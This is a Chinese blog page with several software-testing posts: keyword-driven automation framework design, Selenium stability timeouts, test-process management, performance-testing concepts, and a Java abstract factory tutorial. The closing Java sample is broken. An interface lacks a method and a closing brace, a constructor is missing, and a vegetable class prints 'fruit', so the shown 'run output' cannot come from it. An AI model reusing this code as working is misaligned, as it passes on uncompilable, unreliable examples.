qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

也谈自动化测试开发

 题记:今晚一个人跑到杭州窝在宾馆无所事事,也睡不着,就把这几天来关于自动化测试的探讨记录下来,也给自己一个机会,逼着自己好好反思这一年多来关于自动化测试的点滴。其实,我也只是接触过两套自动化框架,一是项目组开发、设计出来的,在这个从无到有的过程中,我学到了很多。其二便是学习的Robot Framework,它告诉我一个优秀的自动化框架应该具备些什么。

  都讲自动化测试开发,当然要把开发自动化测试框架也当做一个项目来做。这时候,就需要考虑应该选择何种类型的自动化测试框架:数据驱动、关键字驱动、还是Junit,TestNG ? 抑或直接利用现有的开源自动化测试框架,如Robot Framework 。无法讲这几种类型的框架,孰优孰劣,关键是认清项目实际,选择最适合的。讲一些题外话,就Java学习者而言,Junit3.x的源码是再好不过的教材了,JUnit框架运用到了大量的设计模式,反射机制。

  在决定了选用何种自动化框架类型后,下面你需要抉择的就是:应该选择何种编程语言呢?编程语言的选择和开发者的技术背景有很大关系,一般都会选择自己熟悉的编程语言,但这也往往是个局限。另一方面,也受到SUT的影响。一般而言,很少见有选择C,C++作为自动化框架开发语言的,虽然这两种语言的执行效率要高,但开发效率要低一些。我们项目的自动化框架是Java语言编写的,关键字也是由Java实现的。关键字的实现选择Java,是由于SUT - 即Domino服务器提供的API是有Java ,C++。所以自然选择了Java。而自动化框架开发语言的选择,其实可以有别的选择,如脚本语言Python ,Perl。脚本语言Python,或Perl,作为超高级开发语言,解释执行的特性,在开发效率上可能会高一点。

  下面就是关键字实现方式的选择了。关键字就相当于手动执行测试用例当中的一个步骤,比如现在的项目,即一个关键字就是修改产品的一个配置选项,也可以是发一封带有特定附件的邮件。就我们的产品而言,Domino提供的操作数据库的方式有三种,即DIIOP、Web Services和本地调用。刚开始选择的是DIIOP,这种方式实现起来比较简单,后来发现通过这种方式实现的自动化脚本,即包含十几个关键字脚本,其执行时间大概要35s – 40s。而Web Services的执行时间就要效率就要高得多,差不多一个自动化脚本的执行时间可以缩短10s, 但其实现需要分为服务器端Web Service的发布,和客户端的调用,通过这种方式实现,测试环境的部署也要复杂些。讲这些,主要是告诉我们,一开始就需要对这些做出评估,选择合适的方案,不然中途改变,影响是很大的。

  自动化框架,说白了就是流程的封装啦。那么一个自动化框架应该包括哪些流程呢?来看看下面这两幅框架图吧。

  第一幅图讲解了一套自动化测试是由自动化框架,自动化脚本,关键字组成的。第二幅图描述了自动化框架的流程:根据配置挑选要执行的测试用例,解析自动化执行脚本,将自动化执行脚本送给自动化执行引擎,生成Log文件,最后生成Report。

  对比Robot Framework框架,这套简单的自动化框架有哪些地方可以提高呢?第一个,基于Test Suit的setup和teardown。一个自动化脚本的组成是这样的:清理、初始化测试环境(如,建立一些测试脚本需要用到的数据库), 执行自动化脚本,生成执行结果,最后清空环境。这些步骤我们的自动化脚本中也实现的,但如果想在执行一批测试用例之前,做一些动作,执行完以后,在清空,我们用得方式就是把这些自动化脚本的名字在要执行的一批测试脚本之前,我们的脚本是按字母排序的,这样确保的。其实应该有更好的方式。第二个,自动化脚本中有关键字Fail了,是否还需要接着执行下面的关键字呢。我们框架式会继续执行,但Robot Framework做到了可配置,它是通过listern来实现的。可以好好学习下。


 自动化框架、关键字的开发周期怎么安排,怎么预估effort ?项目自动化测试框架,自动化脚本开发也分成了两Iteration。 第一个迭代期间,完成自动化框架主要流程,完成主要关键字,构建SMOKE部分的自动化脚本。第二次迭代,进一步完善自动化框架,接着添加关键字,完成Regression部分自动化脚本。刚开始,effort的估计没有把握,因为有些关键字的实现可能比较困难,这时候需要及时sync风险。第二个阶段,effort的估计就有底了。

  如何协同开发?自然是加入版本控制。现在的自动化框架用的版本控制是Git,这个比较火哦!多人协同开发,提交代码,肯定会有conflict。我们的做法是这样的,除了master分支,每个人在自己本地建个开发分支,每次提交代码前,先从Git Server上checkout最新代码到master分支,然后,在本地的开发分支和master分支merge,最后commit代码。

  自动化脚本如何命名?我们的自动化脚本都是从手动测试用例挑选出来的,我们希望做到自动化脚本和手动脚本之间有个关联,但同时又要做到,只要看到这个自动化脚本的Title,就能知道这个自动化脚本的大概的测试意图。我们是这样做的,ModuleName_FilterName+ID, 这个ID便是手动测试用例的Define ID。

  Keyword的粒度怎么把握?关键字相当于手动执行的一个执行步骤,我们是这样做的,首先Review手动执行的测试用例,抽取出通用的步骤,实现关键字。但如果关键字的粒度做得太细,那么关键字的数量会比较庞大,但粗了的话,关键字参数的形式就会比较复杂,对于构造自动化脚本的同事来说,就需要学习。这个粒度需要把握好,同时,对于自动化关键字参数,需要有详尽注释,使用格式范例。

  自动化脚本中的变量如何维护?一般会把自动化脚本中的一些跟执行环境相关的参数以变量的形式抽取出来,存放在配置文件里,这样一来,在部署自动化测试环境的时候,就只需要修改这些跟环境相关的配置文件即可以。但这个配置文件会随着自动化测试用例的增加,而变得臃肿。

  自动化脚本中运行结果如何判断?自动化测试脚本,如同手动执行测试用例一般,也有预期结果,实际结果的比对,如果两则不一致,则认为这个自动化脚本Fail。刚开始我们是这样做的,将预期结果一参数的形式传给一个关键字,这个关键字在后台会比较实际结果,如果不一致fail。刚开始也觉得没问题,后来发现,因为环境因素,一些预期结果是会发生变化的,这时候,我们必须修改自动化脚本。后来的做法是这样的,先dump出一份预期结果,存放在本地,执行自动化自动化脚本的时候,再Dump出一份实际结果,然后比对这二者。这样就避免了频繁改动自动化执行脚本了。

  执行结果的容错性?如何确保执行结果是可靠的,在自动化关键字的实现过程中,会加入一些容错机制。举个简单的例子,发一封带特性附件的邮件,命中了一个策略。这时候,会在log数据库中产生一条记录。在实现自动化关键字的时候,可能会遇到这样的情况,当你去检查log数据库的时候,很有可能那条log记录还没生成好,这时候如果直接判断,自然会fail。我们是怎么提高容错性的呢?很简单的方法,就是加入了一定时间的延时,比如循环检查多少次,每次delay一秒等方法,这就带来了另一问题,在执行时间会延长。

  及时获取RD帮助。在实现DLP功能时,发现程序重新载入配置会比较耗时,如果自动化脚本不能重新载入完成,就发邮件的话,是无法命中你的配置策略的。这时候,需要寻求RD帮助,他们在后台提供了hidden key。当enable这个hidden key后,重新载入完成后,程序会在console上打印出提示信息,这时候,我们的自动化脚本只需要去检查这些提示信息有没有生成,就可以判断是否重载完成,再发邮件。

  在自动化测试开发,维护过程中,成本最大的是什么?觉得一方面是测试数据的维护。另一方是因为产品功能方面的变动引入的自动化脚本需要修改方面的成本。

  自动化测试的应用场景?对于项目而言,最大的价值是什么?就我们项目而言,主要还是把手动测试用例变为自动化测试用例,也就是所谓的黑盒、功能性自动化实施。当初定位的时候,也是想做成自动化回归测试的,缩短回归测试时间,提高回归测试效率,确保代码优化、及新引进的代码不会影响旧有功能。也没指望自动化测试能发现手动测试发现不了的问题。理想的状态时这样的,自动化测试和CI系统集成,当出了一个新的build,自动化框架能够自动安装新build,执行自动化脚本,完了以后将执行结果通过邮件发布出来。

  有没有方法把关键字的实现提前?而不是等到功能稳定后,再开始做自动化。看过Junit中的mock的概念,但具体怎么做,还不清楚,下阶段学习下!

  现在看来,一套自动化测试的开发也涉及到:项目本身需求分析、hight-level 设计、框架开发、自动化脚本实现、各种规则制定、多方面协作等,所以需要把自动化测试开发当做项目来做哦!

posted @ 2012-12-27 14:00 顺其自然EVO 阅读(648) | 评论 (0)编辑 收藏

Selenium执行测试脚本稳定性的一些经验分享交流

  关于工作中使用Selenium执行测试脚本稳定性的一些经验分享

  公司的自动化WEB测试框架IATA已上线运行了一段时间,期间发现一些脚本稳定性的问题,与大家分享一下。

  CASE执行游览器:ie firefox chrome

  稳定性问题

   一、在持续执行WEB自动化的过程中,如需持续执行脚本,比如持续跑脚本24小时,48小时,甚至一周时间。测试CASE会间歇性发生持续加载页面无响 应的情况。此现象发生后,测试CASE就会因为持续加载页面这个动作而无响应。后续CASE也不会执行直到当前人为手工解决当前的测试进程。

  现象:页面持续加载 无反应,测试CASE 中断无法继续执行。

  解决方案:

  1)如上图

  建议使用线程的方式来监控测试进程的WEB加载执行状态。若超时后则从线程中FAIL当前CASE,使脚本可以持续运行。

  方法

   在页面会发生跳转的时候 启一个 Thread来监控进程的状况,在Thread的run方法定义一个 计时器,如果计时器超时,则可以刷新页面,计时器清零,若此时刷新页面后,计时器再次超时,则线程会关闭当前进程的游览器,FAIL掉当前的 CASE,TestNG会自动启动下一个测试CASE。并且在全部测试CASE执行完毕后,TestNG会记载执行失败的CASE,然后从新执行 CASE。

  部分Thread 代码

  Refresh  code:

  干掉线程的 code

  这里是关掉chrome的进程 来达到关闭游览器的目的。

  通过上述步骤则可以控制游览器加载的过程从而解决CASE中加载页面无响应导致的CASE暂停问题。

 我们发现使用WebDriver的过程中,TESTCASE在执行时,并非只有GET(Url)的时候会发生测试CASE卡主的问题,以下是对会发生此情况的函数的补充

  driver.findelement(String locator) //查找页面元素
  driver.refush(); //刷新页面
  driver.getpagesource(); //获取页面html文本输出
  element.click();//点击页面元素

  见过检查发现上述函数在加载页面或查找页面元素的时候,若发生由于网络原因或者页面模块加载出现问题时,页面都会在这个过程中卡住,直接的后果就是这个CASE持续执行几小时没结果。在 稳定性1文中我们已经介绍过处理的方法,在这里只针对某一个函数去放出部分代码,

  具体思路为

  以driver.refush();为例

  线程实现的代码

  核心调用的刷新页面的函数

  refreshThread();实现

  调用流程

  主CASE执行刷新函数?刷新函数调用子线程?子线程执行刷新?执行完毕告诉主线程OK。

  若主线程判断子线程超时既页面卡主的情况,则主线程会关闭子线程执行相应的FAIL操作。

  欢迎交流~

posted @ 2012-12-24 15:28 顺其自然EVO 阅读(1923) | 评论 (0)编辑 收藏

项目管理中横向视角下的软件测试过程管理

 摘要:软件测试过程的管理可以从项目管理的角度出发,在横向视角下分析,应先按照过程模型来认清测试过程本身,对测试过程进行配置管理、对测试过程进行有效评价,测试风险分析与测试成本管理。

  关键词:软件测试;过程管理;项目管理;测试管理

  1、软件测试过程概述

  软件测试在软件开发中 占重要的地位,它关乎所开发软件的总体质量,它是保证软件可靠性的重要手段。软件测试目的是找出软件的缺陷,并对缺陷进行分析和管理,从而消除缺陷,并为 软件的评价及决策提供依据。软件测试过程从理论上来说是一种抽象的模型,主要用于定义软件测试的方法和流程,从实际操作层面上来看,它包括测试需求分析、 测试策划、测试设计与实现、测试实行和测试总结,并对以上步骤进行精炼,最后抽象出很多种软件测试过程模型,常见的模型包括V模型、W模型、H模型,X模 型、前置模型等。

  各种模型为软件测试提供了参考,在实际测试过程中根据模式灵活应用,加强对整个测试过程的有效管理。软件测试过程的质量将直接影响测试结果的准确性和有效性。软件测试过程和软件开发过程一样,都遵循软件工程原理,管理学原理等。

  2、软件测试过程管理概况及存在的问题

  2.1 软件测试过程管理概况

   软件测试过程的有效管理是测试成功的重要保障,它是通过一定的管理方法和工具对整个软件测试过程进行监控,从而提高软件产品的质量。测试过程包括技术过 程、管理过程和支持过程三大部分,对测试过程的管理主要是测量和分析软件测试过程的有效性和效率,进行基于度量的软件测试过程的持续改进。软件测试过程管 理的目的是对软件产品的整个测试流程中所涉及的方法、技术、人员、活动本身进行控制和管理,通过有效的管理确保软件产品的质量基础上提高开发效率。可以提 高机构的软件开发能力和软件产品测试的管理水平,强化企业的管理理念,提升开发机构市场竞争力,有效的过程管理是软件测试团队实力的体现,是软件企业制胜 的法宝。

  2.2 软件测试过程管理现实所存在的问题

  目前,多数软件组织对测试的定位都非常模糊和局限,认为软件测试就仅仅是测试用例的一些实际执行过程,没有系统的测试管理思想和良好的测试管理工具,以至于对测试方法与测试策略显得没有针对性和计划性,整个测试过程显得“虎头蛇尾,马虎了事”。

  有些对测试过程认识不够系统,将测试活动看作功能测试性能测试,所使用的测试工具大多也只集中于软件功能测试和结构测试,而缺乏对软件测试过程管理的全面支持,没有对整个过程进行系统的管理。

  目前使用的软件测试管理工具种类繁多,其中市场上主流的软件测试管理工具有:Test Link(开源组织),HP Quality Center (Test Director),Test Center(上海泽众软件出品),IBM Rational Test Manager等软件。诸如此类测试管理软件大都按照软件测试在整个软件生命周期中的位置来管理测试需求、测试计划、测试执行以及软件缺跟踪。在整个软件 测试过程中,软件过程管理很自然地倾向于从纵向上着眼,从而疏漏了横向视野下的软件测试管理成分以及各成分之间的关系。

  3、横向视角分析软件测试过程管理

  首先,分析软件测试过程管理要立足于软件项目管理,从横向上审视测试过程是对软件测试管理的重要补充。针对测试的每个阶段进行的测试过程评价管理、依据测试过程进行配置管理、测试风险分析管理与测试成本管理。

 3.1 测试过程评价管理

  软件测试评价管理由测试过程的观察、判断、分析和管理构成。整个评价活动包括:确定评价需求、编制评价规格说明、制定评价计划、执行评价计划和 得出评价结论。各阶段的评价活动根据各阶段的特征来开展,需要管理好评价过程的输入(请求者提供的软件说明书、软件的部件和评价者提供的预先确定的评价说 明、评价方法和工具)和输出(评价记录、评价报告草案、评审后的评价报告)以及评价中所涉及的文档包括:评价需求、评价规格说明、评价计划和评价报告等。

  3.2 软件测试配置管理

  测试工件管理是软件测试管理的基本内容,是降低软件测试混乱程度、增强测试过程可见性和降低风险的重要举措。软件测试过程中涉及到许多测试工 件,每个测试工件都可能演化出不同的版本,不同的测试工件之间存在复杂而易变的关联关系,测试工件具有易变特性。在软件测试过程中从测试各阶段横向上把握 配置管理,具体包括各阶段配置项标识、配置项控制、配置项状态报告和审计。

  3.3 软件测试成本管理

  成本管理对于整个项目尤为重要,软件测试中的成本管理就是根据企业的情况和软件测试项目的具体要求,利用公司既定的资源,在保证软件测试项目的 进度、质量达到客户满意的情况下,对软件测试项目成本进行有效的组织、实施、控制、跟踪、分析和考核等一系列管理活动,最大限度地降低软件测试成本,提高 项目利润。测试成本的管理以测试产能的最大化为目标,对各阶段的准备成本、成本控制、结束成本和维护成本进行管理,以提高投资回报率。根据测试过程中各阶 段成本要求来管理资源计划、成本估算、成本预算和成本控制。

  3.4 测试风险分析管理

  测试风险分析是对辨识出的测试风险及其特征进行明确的定义描述,分析测试风险发生可能性的高低,分析测试风险发生的条件等。高质量的软件测试过 程管理要求对测试风险分析进行全面管理以更好地掌控风险,减少风险所带来的危害。软件测试过程中各阶段都存在风险包括:对软件的需求描述不准确所带来的风 险,质量目标不清晰所带来的风险,计划编写不准确带来的风险,人的风险,测试环境的风险,测试工具以及用例存在的风险。测试过程管理需要把风险纳入管理范 围,从每个阶段横向分析,对风险进行全面识别,深入分析和有效监控,以规避风险。

  从横向视角下分析软件测试过程管理需要兼顾到横向上各个管理成分之间的关系。测试过程评价是对软件测试过程的整体把控,有效的软件测试评价管理 监控着软件测试配置、测试成本和测试风险三方面管理。风险管理是测试的直接目的,降低风险才能提高测试效率和质量。软件测试配置管理和测试成本管理是软件 测试管理中的重要内容,配置项的管理涵盖软件测试中的主要用例和接口,指向测试过程所使用的工件内容管理,测试成本管理维持整个测试过程的平衡。从横向视 角上分析软件测试过程应将整个系统中各个管理内容联系起来从整体上分析。

  4、结论

  软件测试过程管理需要纳入到软件项目管理这个大环境中思考,以系统工程学和管理学的理论知识为指导,对整个过程进行全面的审视。结合横向视角下 软件测试过程管理,从系统工程角度出发,才能对测试项目的进行更全面的分析,才能更清晰认识测试过程本身。横向视角下分析软件测试过程,不仅影响测试工具 和测试策略的选取,而且对软件测试过程管理工具的开发有其指导意义。

posted @ 2012-12-24 15:05 顺其自然EVO 阅读(160) | 评论 (0)编辑 收藏

软件性能测试的本质

   淘宝网每年的双11 活动都是对其服务器性能的挑战。因为那天的活动所有商品半价,在那一天购物的用户量剧增。做淘宝网的高层更多的关心在线用户数,用户交易量,总交易金额 等,做为一名技术人员,我们可以更关心当天系统的吞吐量、每秒钟点击率以及系统资源的消耗情况等。

  基于用户体验的性能测试

  但对于一个用户来说,他可以不关心上面这些,大约有一部分的消费者会因为网站过于技术化或者性能问题而选择了离开。换言之,如果你的网站速度太慢客户就会离去。这是所有的互联网用 户都熟知的道理。这时你的第一想法不是“哎呀,不知道站点的吞吐量怎样”,而是“简直太慢了!我可没有时间在这里等,到别处去吧”。现在想想,人们离开你 的站点是否因为性能问题?所以,在做性能测试的时候除关注吞吐量、点击率这些参数外,我们更需要站在用户的角度来测试实际的性能感受。如果你经过测试声称 网站可以承受更多的用户同时访问,但实际的用户体验性非常差,那么做你的性能测试又有什么意义呢?

  现在市场 上有大量的书讨论如何设计良好的性能,还有更多的书把重点放在如何使得站点更加直观、生动和易于炒作上。关于速度的好处也讨论过,但如何真正并优化系统来 提高用户体验呢?那就是直接的用户体验测试了。有两点方法可以做一这点。一是可以把站点直接投入到能够进行数据采集和系统调优的生产环境中,并祈祷你的网 站不会太慢或崩溃。另一个种明智的选择是模拟真实的用户活动,进行重复的测试和调优,最后再投入到生产环境。

  “明确”的性能需求

  当测试人员进行性能测试工作时,真正让他们感到困难的不是测试工具如何使用,也不是如何对测试数据进行分析与系统调优(对于一个经验丰富有性能工程师来说,这真的不难)。让他们感到困惑的是如何得到准确的量化的需求,比如:

  A、网站可以支撑多少在线用户数

  B、网站可以支持多少用户同时交易

  C、电子邮件系统每秒种可以处理多少封邮件

  D、可以支持多少人同时浏览网页

  类似于这样的数据会出现客户对系统的性能需求中,好吧,有了这些需求,我就开始性能工作了,这些需求真的很明确么?

  我们来看下面的例子,一个购买汽车的用户想知道:

  这辆汽车开100公里的耗油是多少升。(对,就是他坐在里面试驾的那辆)

  如果你是一个严谨的汽车销售,不会马上会说这辆车每公理的耗油是多少。而是在大脑中快速的列出的汽车驾驶环境:

  1、车上坐几个人?

  2、车上带多重的物品

  3、路况如何,是高速还是拥挤的市区?

  4、天气如何,温度如何,要开空调码?

  5、驾驶时间是白天还是晚上(如果是晚上要开车灯)?

  6、驾驶习惯是怎样的?

  ....................................

  其实我们在做性能测试做了很多假设。你唯一能做的就是继续向客户确认更明确的需求,很多时候其实客户也无法给出精确的需求。这就是时候你就要多参考常规的情况下,参考同类产品,或尽量引导用户去明确具体的需求,尽量与客户达到统一的共识。

“假设”的测试环境

  现在是不是觉得性能测试有太多的前置条件,它他们或大或小的影响着测试的结果。

  关于这些前置条件,或者我们称之为假设(assumption),我把一些做法归纳为三个阶段。

  一:做了假设却不知道自己做了假设

  比如前面提到的那个耗油的问题,有人的做法是我就开100公里看看,得出来是多少就是多少,比如9L。然后就告诉别人这个车的100公里耗油是9L。

  问题是这样的结果对你是OK,因为你有切身的的体验,知道遇到的状况,可是测试的报告是要给别人,甚至你都无法直接面对或者沟通的人参考。这就 会很容易误导别人,即便这不是你的本意,而且你自已也确定你是真实的记录了结果。这里的问题在于你并不清楚自己所做的假设,因为我们一直在做这样的假设。

  二:做过多的假设

  “当路面平坦,无任何红绿灯,风速5km/h只有一名70kg的乘客,时速稳定在70km/h,良好驾驶习惯,....的情况下,耗油是7.1L/100km。”

  这样可能很严谨,但是对你的报告的读者而言,这样的数据有多大意义,因为他们没有你这么幸运,有这么良好的环境。

  三:做必要和合理的假设

  生活有时候是需要一些妥协和折衷,如果这些折衷是必要的和合理的。因为跳出来看,我们的测试需要提供有价值的信息,所以为了这样有价值的信息,做出必要和合理的假设是可以接受的。

  好吧,也许这不是你想要的答案,但它是我目前给自己的解释和安慰。

  性能测试环境需要在严格独立监控下管理,尽量保持与真实生产环境的一致性能。保持一致性应该注意哪些方面,等搜索虫师的《性能测试知多少---测试环境搭建》。

  “精确”的测试数据

  对于一个严谨的测试员,我们的测试结果的描述也相当精确,如:用户每个用户的访问时间为2.8729秒,10分钟系统处理请求8634个。我以前一直认为,只要我把测试环境描述的很详细,我的测试结果就是精确的。

  实际上功能测试很容易得到测试结果,而性能测试很难得到精确的量化结果,我买了一辆汽车,开车去上班,去时车的各个功能非常正常,回来的时候车 的功能也非常正常。将过我的上下班测试,这个车的功能没有问题。再来看耗油情况,我去时上耗油3.29升,回来时耗油3.42升,同样的一条路,同样的人 开同样的车,那么是不一样的耗油结果?如果我再试一遍,可能情况还会有变化。所以,我们很难得到精确的数据,但是这丝毫不影响我们测试结果的参考价值。

  “宏观/围观”的性能测试

  这也是一个有趣的对立。在做性能测试,特别是整个产品的性能测试的时候,我们看到的是产品的核心功能和主要的大的功能模块,比如数据库、web 服务器、核心的daemon等等。在脑海里,我们有一个架构图,哪怕你没有把它画出来。所以有时候,我们会想,性能测试对于产品的视角是宏观的,看大的组 件,而不是具体的细节的东西。果真是如此吗?看看下面的例子:

  1、把daemon的log级别改为debug (log_level从2改到5)之后,性能下降了差不多一半。

  2、关掉一个cache选项

  3、打开keepalive选项

  4、打开DNS反向查询

  .....

  上面都是些细枝末节的设置,一个配置项而已,藏在DB的某张表或者某个ini里面。但是改变之后,得到的性能结果可能大不相同。这些都是否改变了我们以往的看法。

 Scott Barber(性能测试方面的专家)在他的一篇文章里讨论了这个话题。

  “Macro- and Micro-tests, macro strategies and micro-plans, macro-level application usage and micro-level usage implementation details, macro-level result summaries for executives and micro-level test results for developers... it sounds like a day in the life of a performance tester to me.”

  摘自他为Software Test & Performance杂志写的一个系列文章,叫做Peak Performance,其中的2006年9月的一期,文章名是 Macro to Micro And Back Again Macro to Micro And Back Again,嗯,很好的诠释。

  亚里士多德说世上的道理不是被讲一遍两遍而是成千上万遍,是的,因为Weinberg也讲了一遍,就在上面提到的那本书里面。请原谅我再次引用 他的话,粉丝嘛。“Although it's necessary to have an overview of the problem, the big picture often turns on one critical detail.”

  critical detail, 对,就是这个term。其实不光是这里说的测试,工作和生活中的很多事情都是一样,不是要不要关心细节,而是它是否critical。

  那么,怎么区分一个细节是不是critical或者怎样找到critical的detail呢?

  嗯...,这是个好问题,不过不好意思这个不是这里要讨论的范畴。

  所以,你还认为性能测试只是学习如何使用性能工具么?它需要一个长期的个技术的积累,我们的路还很长。也许,我讲的不够本质,但性能测试这个领 域,看到太多的新手在整天问工具的使用,学会了工具的使用就大言“我会(精通)性能测试!”。太多的公司叫新手的做性能测试,环境神马的也不提供,你找个 工具对软件加压一下吧!哎~!这未免是太贬低“软件性能测试”了。

  本文参考:

  基于用户体验的性能测试:http://www.51testing.com/html/72/n-64672.html

  关于性能测试的三个观念:http://www.51testing.com/html/02/n-227002.html

相关链接:

性能测试知多少----性能测试分类之我见

性能测试知多少---并发用户

性能测试知多少---吞吐量

性能测试知多少---响应时间

性能测试知多少---了解前端性能

性能测试知多少---性能测试工具原理与架构

性能测试知多少---性能测试流程

性能测试知多少---性能需求分析

性能测试知多少---性能测试计划

性能测试知多少---系统架构分析

性能测试知多少---测试工具介绍

性能测试知多少---测试环境搭建

性能测试知多少--系统计数器与硬件分析

posted @ 2012-12-24 14:21 顺其自然EVO 阅读(203) | 评论 (0)编辑 收藏

跟屌丝大哥学习设计模式-抽象工厂模式

1.3 抽象工厂(Abstract Factory)模式
    抽象工厂模式可以向客户端提供一个接口,使得客户端在不必指定产品具体类型的情况下,创建多个产品族中的产品对象。这就是抽象工厂模式的用意。
    每个模式都是针对一定问题的解决方案。抽象工厂模式面对的问题是多产品等级结构的系统设计。
    在学习抽象工厂具体实例之前,应该明白两个重要的概念:产品族和产品等级。
    产品族:是指位于不同产品等级结构中,功能相关联的产品组成的家族。比如AMD的CPU和ADM芯片的主板,组成一个家族。Intel的CPU和 Intel芯片的主板,又组成一个家族。而这两个家族都来自于两个产品等级:CPU,主板。一个等级结构是由相同的结构的产品组成,示意图如下:




    理解这个产品结构是理解抽象工厂模式的关键所在,所以我不惜花费时间来画此图。如果领悟不到此图的含义,就无法区分工厂方法模式和抽象工厂模式的区别。
    从上图可以看出,抽象工厂模式的每个工厂创造出来的都是一族产品,而不是一个或者一组。组是可以随意组合的!其实两个就这点点差别,呵呵,估计现在你已经差不多明白了抽象工厂模式的含义。不废话了,看个例子,真相将大白于天下!
1.3.1 抽象工厂模式在农场中的实现

1.3.1.1 背景

    聪明的农场主总是让自己的庄园越来越有价值,“农场”在经历了简单工厂模式和工厂模式后,不断的扩大生产。如今,再次面临新的大发展,一项重要的工作就是 引进塑料大棚技术,在大棚里种植热带(Tropical)和亚热带(Northern)的水果和蔬菜,用以满足市场需求,获取更大的利益。

1.3.1.2 产品角色图

    经过分析,对产品角色进行分析得出下图


    经过分析,所谓的各个园丁其实就是工厂角色,而蔬菜和水果则是产品角色。将抽象工厂模式用于农场中,系统设计图如下:



1.3.1.4.1 抽象工厂:Gardener.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:Gardener.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    22:55:23
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  抽象工厂角色:工厂接口
 */
public interface Gardener {
    public Fruit createFruit(String name);
1.3.1.4.2 抽象水果产品:Fruit.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:Fruit.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    22:54:15
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  抽象产品角色:水果接口
 */
public interface Fruit {
}
1.3.1.4.3 抽象蔬菜产品:Veggie.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:Veggie.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    22:56:22
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  抽象产品角色:蔬菜接口
 */
public interface Veggie {
}
1.3.1.4.4 热带水果:TropicalFruit.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:TropicalFruit.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    22:57:08
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  具体产品角色:热带水果
 */
public class TropicalFruit implements Fruit {
    private String name;
}
1.3.1.4.5 热带蔬菜:TropicalVeggie.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:TropicalVeggie.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    22:58:03
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  具体产品角色:热带蔬菜
 */
public class TropicalVeggie implements Veggie {
    private String name;
    public TropicalVeggie(String name) {
        System.out.println("热带工厂为您创建了:热带水果-"+name);
    }
}
1.3.1.4.6 亚热带水果:NorthernFruit.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:NorthernFruit.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    22:58:55
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  具体产品角色:亚热带水果
 */
public class NorthernFruit implements Fruit {
    private String name;
    public NorthernFruit(String name) {
        System.out.println("亚热带工厂为您创建了:亚热带水果-"+name);
    }
}

1.3.1.4.7 亚热带蔬菜:NorthernVeggie.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:NorthernVeggie.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    22:59:36
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  具体产品角色:亚热带蔬菜
 */
public class NorthernVeggie implements Veggie {
    private String name;
    public NorthernVeggie(String name) {
        System.out.println("亚热带工厂为您创建了:亚热带蔬菜-"+name);
    }
}
1.3.1.4.8 热带工厂:TropicalGardener.java
/**
 * Created by IntelliJ IDEA.
 * FileName:TropicalGardener.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    23:01:49
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  具体工厂角色:热带工厂
 */
public class TropicalGardener implements Gardener {
    public Fruit createFruit(String name) {
        return new TropicalFruit(name);
    }
    public Veggie createVeggie(String name) {
        return new TropicalVeggie(name);
    }
}
1.3.1.4.9 亚热带工厂:NorthernGardener.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:NorthernGardener.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    23:00:31
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  具体工厂角色:亚热带工厂
 */
public class NorthernGardener implements Gardener {
    public Fruit createFruit(String name) {
        return new NorthernFruit(name);
    }
    public Veggie createVeggie(String name) {
        return new NorthernVeggie(name);
    }
}
1.3.1.4.10 测试类(客户端):TestApp.java
package com.lavasoft.patterns.abstractfactory.ybms;
/**
 * Created by IntelliJ IDEA.
 * FileName:TestApp.java
 * User:    LavaSoft
 * Date:    2006-12-5
 * Time:    23:03:22
 * 《Java与模式》(--阎宏博士著)读书笔记
 * 工厂模式--抽象工厂模式--一般性模式(农场应用)
 * ReadMe:  测试类(客户端)
 */
public class TestApp {
    private void test(){
        Veggie tv,nv;
        Fruit tf,nf;
        TropicalGardener tg=new TropicalGardener();
        NorthernGardener ng=new NorthernGardener();
        tv=tg.createVeggie("热带菜叶");
        nv=ng.createVeggie("东北甜菜");
        tf=tg.createFruit("海南椰子");
        nf=ng.createFruit("雪梨");
    }
    public static void main(String args[]){
        TestApp test=new TestApp();
        test.test();
    }
}
1.3.1.4.11 测试运行结果
    热带工厂为您创建了:热带水果-热带菜叶
    亚热带工厂为您创建了:亚热带蔬菜-东北甜菜
    热带工厂为您创建了:热带水果-海南椰子
    亚热带工厂为您创建了:亚热带水果-雪梨
    Process finished with exit code 0
